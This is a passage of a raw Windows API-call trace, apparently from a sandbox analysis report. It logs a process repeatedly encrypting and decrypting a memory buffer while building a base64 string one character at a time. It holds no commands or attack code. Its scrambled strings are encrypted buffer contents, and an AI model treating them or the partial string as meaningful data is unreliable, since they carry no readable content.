lpBuffer="") returned 0x0 [0202.125] EtwEventActivityIdControl () returned 0x0 [0202.125] EtwEventActivityIdControl () returned 0x0 [0202.125] EtwEventActivityIdControl () returned 0x0 [0202.126] SysStringLen (param_1="") returned 0x8 [0202.126] SysStringLen (param_1="N") returned 0x8 [0202.126] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.126] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0202.126] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0202.126] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.126] SysStringLen (param_1="ND") returned 0x8 [0202.126] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.126] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0202.126] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0202.127] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.127] SysStringLen (param_1="NDZ") returned 0x8 [0202.127] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.127] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0202.127] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0202.127] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.127] SysStringLen (param_1="NDZl") returned 0x8 [0202.127] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.127] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0202.127] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0202.127] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.128] SysStringLen (param_1="NDZlO") returned 0x8 [0202.128] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.128] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0202.128] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0202.128] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.128] SysStringLen (param_1="NDZlOD") returned 0x8 [0202.128] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.128] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0202.128] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0202.128] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.129] SysStringLen (param_1="NDZlODR") returned 0x8 [0202.129] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.129] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0202.129] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0202.129] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.129] SysStringLen (param_1="NDZlODRm") returned 0x8 [0202.129] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0202.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0202.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0202.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0202.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0202.130] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.130] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0202.130] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0202.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0202.130] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.131] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0202.131] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0202.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0202.131] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.131] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0202.131] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0202.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0202.131] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.132] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0202.132] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0202.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0202.132] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.132] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0202.132] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0202.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0202.132] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.133] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0202.133] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0202.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0202.133] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.133] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0202.133] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0202.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0202.133] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.133] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0202.134] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0202.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0202.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0202.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0202.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0202.134] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.134] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0202.134] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0202.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0202.135] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.135] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0202.135] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0202.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0202.135] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.135] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0202.135] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0202.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0202.136] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.136] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0202.136] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0202.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0202.136] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.136] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0202.136] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0202.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0202.137] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.137] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0202.137] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0202.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0202.137] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.137] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0202.137] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0202.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0202.138] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.138] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0202.138] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0202.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0202.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0202.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0202.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0202.139] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.139] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0202.139] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0202.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0202.139] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.139] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0202.139] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0202.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0202.140] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.140] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0202.140] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0202.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0202.140] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.622] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0202.622] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.622] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0202.622] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0202.622] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.623] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0202.623] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.623] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0202.623] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0202.623] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.623] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0202.623] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.623] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0202.623] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0202.623] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.623] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0202.623] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.623] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0202.623] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0202.623] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.623] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0202.624] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0202.624] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0202.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0202.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0202.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0202.781] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0202.781] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0202.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0202.781] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0202.781] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0202.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0202.781] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0202.781] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0202.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0202.782] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0202.782] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0202.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0202.782] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0202.782] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0202.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0202.782] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0202.782] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0202.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0202.783] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.783] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0202.783] SystemFunction040 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0202.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0202.783] SystemFunction041 (in: Memory=0x5c91a74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.783] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0202.783] SystemFunction040 (in: Memory=0x5c91a74, 